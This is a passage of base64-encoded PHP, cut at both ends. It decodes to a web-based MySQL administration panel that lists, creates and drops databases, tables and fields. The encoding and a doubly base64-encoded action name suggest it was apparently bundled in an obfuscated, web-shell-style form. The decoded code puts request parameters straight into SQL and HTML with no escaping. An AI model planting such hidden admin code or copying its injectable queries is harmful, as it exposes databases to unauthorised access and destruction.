oJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0